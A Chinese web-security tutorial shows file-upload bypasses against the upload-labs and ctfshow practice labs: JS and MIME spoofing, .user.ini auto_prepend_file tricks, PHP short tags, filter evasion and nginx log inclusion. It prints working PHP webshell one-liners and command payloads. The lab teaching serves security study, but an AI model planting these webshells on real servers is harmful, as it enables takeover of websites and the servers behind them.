day31WEB攻防-通用漏洞文件上传js验证mimeuser.ini语言特性

目录

1.JS验证

2.JS验证+MIME 

3.JS验证+.user.ini 

4.JS验证+.user.ini+短标签 (ctfshow154,155关)

5.JS验证+.user.ini+短标签+过滤 [ ]

6.JS验证+.user.ini+短标签+加过滤+文件头


有关文件上传的知识
1.为什么文件上传存在漏洞
       上传文件时,如果服务瑞代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、 aspx、php、 jsp等格式的文件)。
2.危害
       非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

本文知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.in妙用
4、文件上传-PHP语言特性

后门代码需要特定后缀格式解析,不能以图片后缀解析脚本后门代码(解析漏洞除外),如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

本文将通过upload-labs靶场进行演示说明,关于upload-labs靶场的搭建请参考这篇文章:https://blog.csdn.net/m0_69583059/article/details/135767303?spm=1001.2014.3001.5501

1.JS验证

upload-labs靶场第一关

用哥斯拉生成一个php后门文件,打开哥斯拉点击管理->生成,将生成的后门文件重命名为hm.php(方便演示)

关于哥斯拉的使用和安装请参考这篇文章:哥斯拉安装和使用

上传png文件成功,上传hm.php文件失败

F12修改前端代码

复制php文件路径(http://localhost/upload-labs/upload/hm.php ),用哥斯拉尝试连接

 

2.JS验证+MIME 

upload-labs靶场第二关

这里直接F12修改后是没有用的

通过抓包发现上传png文件时和上传php文件时,Content-Type的值不一样

 

现在我们将上传php文件时的Content-Type值修改为image/png,我们发现上传成功

 

3.JS验证+.user.ini 

user.ini:auto_prepend_file=hm.png
hm.png:<?php eval($_POST[x]);?>

后台对文件后缀进行限制,拦截php等相关后缀,导致后门代码无法上传,这里我们要用到.user.ini注意.user.ini的使用是有条件的,只适用于php,别的语言可能不支持,这里主要讲解思路,语言不一样,但思路都差不多,可以自己去了解一下,别的语言有没有类似与.uer.ini文件这样的功能。

.user.ini 文件是PHP的配置文件,用于自定义PHP的配置选项。该文件通常位于PHP安装目录的根目录下,或者在特定的网站目录下。.user.ini 文件是一个文本文件,可以使用任何文本编辑器进行编辑。它包含了PHP的配置选项和值,每个选项和值都以等号(=)分隔。当php再进行扫描的时候会读取到web目录下的ini文件,从而进行触发。

在这个配置中存在两个配置项:auto_append_file和auto_prepend_file

1.auto_prepend_file
auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。
2.auto_append_file
和auto_prepend_file类似,这个是指内容添加到文末,如果有exit会无法调用到

upload-labs靶场第五关

源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。反复观察发现没有被限制的后缀名有 .php7 以及 .ini。现在我们该怎么办呢,php文件不能上传,那么我们能不能把后门代码写在png文件里面呢,这样显然是不行的,这样会导致格式错误,这里我们就要用到php特有的.user.ini文件,上面已经介绍过了,.user.ini的配置项auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件,该文件的内容将被插入到原始脚。这是什么意识呢,这里我解释一下,也就是说我们如果直接将后门代码写在png文件下是不能上传的,因为php文件被拦截了,所以这里我们要借auto_prepend_file,将png文件设定为指定文件,这样png文件里面的后门代码就会插入到原脚本(也就是和传入文件同目录的php文件,这里是readme.php), 这样我们就成功将后门代码植入到了php文件中,而index.php文件本来就是项目文件,这样就可以通过index.php连接哥斯拉了。

现在我们创建一个.user.ini文件,在文件里写入auto_prepend_file=hm.png。然后将我们生成的木马文件hm.php改为hm.png,然后将这两个文件上传

现在我们尝试一下用readme.php连接哥斯拉

测试连接成功 

4.JS验证+.user.ini+短标签 (ctfshow154,155关)

user.ini:auto_prepend_file=text.png
text.png:<?=eval($_POST[pass]);?>

后台对文件后缀以及短标签<?php进行限制,这个时候不但要考虑php后缀文件不能上传,还要考虑后门代码不能出现<?php

这里有几种替换短标签<?php的方法,效果是一样的,一般用第二种和第四种,因为不需要前提条件

1.<?echo '123';?>  //前提是开启配置参数short_open_tags=on

2.<?=(表达式)?>    //不需要开启参数设置

将<?php eval($_POST[pass]);?>替换成<?=eval($_POST[pass]);?>

3.<% echo '123';%>  //前提是开启了配置参数asp_tags=on

4.<script language="php">echo '1'</script> //不用修改参数开关

5.JS验证+.user.ini+短标签+过滤 [ ]

过滤[],用{}替代(ctfshow156关)

user.ini:auto_prepend_file=hm.png
hm.png:<?=eval($_POST{pass});?>

过滤了后门语句的分号;和php(ctfshow157关)

zm.png:<?=system('tac ../fl*')?>    

过滤了;,php,() (ctfshow158,159关)

zm.png:<?echo'tac /var/www/html/f*'?>

基本都过滤了(ctfshow160关)

包含默认日志,日志记录UA头,UA头写后门代码

user.ini:auto_prepend_file=zm.png
zm.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

6.JS验证+.user.ini+短标签+加过滤+文件头

文件头部检测是否为图片格式文件(ctfshow161关)

user.ini:GIF89A auto_prepend_file=zm.png
zm.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/247287.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年数学建模美赛C题(预测 Wordle)——思路、程序总结分享

1: 问题描述与要求 《纽约时报》要求您对本文件中的结果进行分析&#xff0c;以回答几个问题。 问题1&#xff1a;报告结果的数量每天都在变化。开发一个模型来解释这种变化&#xff0c;并使用您的模型为2023年3月1日报告的结果数量创建一个预测区间。这个词的任何属性是否会…

【服务器Midjourney】创建部署Midjourney网站

目录 🌺【前言】 🌺【准备】 🌺【宝塔搭建MJ】 🌼1. 给服务器添加端口 🌼2. 使用Xshell连接服务器 🌼3. 安装docker 🌼4. 安装Midjourney程序 🌼5. 绑定域名+申请SSL证书 🌼6. 更新网站

分布式空间索引了解与扩展

目录 一、空间索引快速理解 &#xff08;一&#xff09;区域编码 &#xff08;二&#xff09;区域编码检索 &#xff08;三&#xff09;Geohash 编码 &#xff08;四&#xff09;RTree及其变体 二、业内方案选取 三、分布式空间索引架构 &#xff08;一&#xff09;PG数…

elementUI的el-select传递item对象或其他参数的2种方法

方法1 :value“item” 绑定对象 只要:value绑定item对象就可以 value-key"value" 必须是item里的一个属性&#xff0c;绑定值为对象类型时必填 <el-select v-model"value" placeholder"请选择" value-key"value" change"cha…

【产品经理从0到1】产品经理常用网站

1.产品社区类 人人都是产品经理 | 产品经理、产品爱好者学习交流平台 2.资讯新闻 虎嗅网(虎嗅网) 捕获互联网每个重要时刻 36kr(36氪 | 让创业更简单) 互联网最新最热新闻资讯 爱范儿(爱范儿 让未来触手可及) 国内聚焦创新和科技领域的第一媒体 钛媒体(钛媒体_引领未来商…

Rust循环和函数

下面聊聊以下主题&#xff1a; 基于条件的分支循环函数属性测试 基于条件的分支 基于条件的分支&#xff0c;可以通过常见的 if、if else 或 if else if else 构造来完成&#xff0c;例如下面的示例&#xff1a; fn main() { let dead false; let health 48; if dead { p…

探索Pyecharts关系图绘制技巧:炫酷效果与创意呈现【第42篇—python:Pyecharts水球图】

文章目录 Pyecharts绘制多种炫酷关系网图引言准备工作代码实战1. 基本关系网图2. 自定义节点样式和边样式3. 关系网图的层级结构4. 添加标签和工具提示5. 动态关系网图6. 高级关系网图 - Les Miserables 示例7. 自定义关系网图布局8. 添加背景图9. 3D 关系网图10. 热力关系网图…

【幻兽帕鲁】开服务器,高性能高带宽(100mbps),免费!!!【学生党强推】

【幻兽帕鲁】开服务器&#xff0c;高性能高带宽&#xff08;100mbps&#xff09;&#xff0c;免费&#xff01;&#xff01;&#xff01;【学生党强推】 教程相关视频地址&#xff1a;https://www.bilibili.com/video/BV16e411Y7Fd/ 目前幻兽帕鲁开服务器有以下几套比较性价比的…

【Android】MediaCodec学习

在开源Android屏幕投屏代码scrcpy中&#xff0c;使用了MediaCodec去获取和display关联的surface的内容&#xff0c;再通过写fd的方式&#xff08;socket等&#xff09;传给PC端&#xff0c; MediaCodec的处理看起来比较清楚&#xff0c;数据in和数据out 这里我们做另外一个尝试…

qml与C++的交互

qml端使用C对象类型、qml端调用C函数/c端调用qml端函数、qml端发信号-连接C端槽函数、C端发信号-连接qml端函数等。 代码资源下载&#xff1a; https://download.csdn.net/download/TianYanRen111/88779433 若无法下载&#xff0c;直接拷贝以下代码测试即可。 main.cpp #incl…

二叉树--199. 二叉树的右视图/medium 理解度C

199. 二叉树的右视图 1、题目2、题目分析3、复杂度最优解代码示例4、适用场景 1、题目 给定一个二叉树的 根节点 root&#xff0c;想象自己站在它的右侧&#xff0c;按照从顶部到底部的顺序&#xff0c;返回从右侧所能看到的节点值。 示例 1: 输入: [1,2,3,null,5,null,4] 输出…

FPGA 通过 UDP 以太网传输 JPEG 压缩图片

FPGA 通过 UDP 以太网传输 JPEG 压缩图片 简介 在 FPGA 上实现了 JPEG 压缩和 UDP 以太网传输。从摄像机的输入中获取单个灰度帧&#xff0c;使用 JPEG 标准对其进行压缩&#xff0c;然后通过UDP以太网将其传输到另一个设备&#xff08;例如计算机&#xff09;&#xff0c;所有…

Element-Plus如何实现表单校验和表单重置

一&#xff1a;页面布局介绍&#xff1a; 这是我刚刚用基于vue3element-plus写好的一个部门管理的页面 基本的增删改查已经写好&#xff0c;下面我只提供页面的template和style的代码&#xff1a; template <template><el-card class"box-card"><…

【YOLO系列算法俯视视角下舰船目标检测】

YOLO系列算法俯视视角下舰船目标检测 数据集和模型YOLO系列算法俯视视角下舰船目标检测YOLO系列算法俯视视角下舰船目标检测可视化结果 数据集和模型 数据和模型下载&#xff1a; YOLOv6俯视视角下舰船目标检测训练好的舰船目标检测模型舰船目标检测数据YOLOv7俯视视角下舰船…

贝锐蒲公英全新网页认证,保障企业访客无线网络安全

随着企业规模的不断扩大、人员的增长、无线终端数量/类型的增加&#xff0c;传统WiFi无线网络会暴露出越来越多的问题&#xff0c;导致无线网络管理困难。 比如&#xff1a;采用弱密码、安全防护不到位的默认设置、员工缺乏信息安全意识、未经授人员权访问无线网络…… 这些问…

【Redis】Redis有哪些适合的场景

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;Redis ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 &#xff08;1&#xff09;会话缓存&#xff08;Session Cache&#xff09; &#xff08;2&#xff09;全页缓存&#xff08;FPC…

【极数系列】Flink配置参数如何获取?(06)

文章目录 gitee码云地址简介概述01 配置值来自.properties文件1.通过路径读取2.通过文件流读取3.通过IO流读取 02 配置值来自命令行03 配置来自系统属性04 注册以及使用全局变量05 Flink获取参数值Demo1.项目结构2.pom.xml文件如下3.配置文件4.项目主类5.运行查看相关日志 gite…

Linux 网络流量相关工具

本文聚焦于网络流量的查看、端口占用查看。至于网络设备的管理和配置&#xff0c;因为太过复杂且不同发行版有较大差异&#xff0c;这里就不赘述&#xff0c;后面看情况再写。 需要注意的是&#xff0c;这里列出的每一个工具都有丰富的功能&#xff0c;流量/端口信息查看只是其…

探索Pyecharts之美-绘制多彩旭日图的艺术与技巧【第37篇—python:旭日图】

文章目录 引言准备工作绘制基本旭日图调整颜色和样式添加交互功能定制标签和标签格式嵌套层级数据高级样式与自定义进阶主题&#xff1a;动态旭日图数据源扩展&#xff1a;外部JSON文件总结 引言 数据可视化在现代编程中扮演着重要的角色&#xff0c;而Pyecharts是Python中一个…

数据结构——链式二叉树(3)

本篇文章我们依然讲解链式二叉树的OJ题&#xff1b; 一、二叉树的层序遍历 层序遍历即从根节点开始一层一层的遍历。我们可以运用队列的先进先出特性实现&#xff01; //层序遍历 void a(BTNode* root) {Que qhead;Queueinit(&qhead);//先入队根节点if(root)QueuePush(&…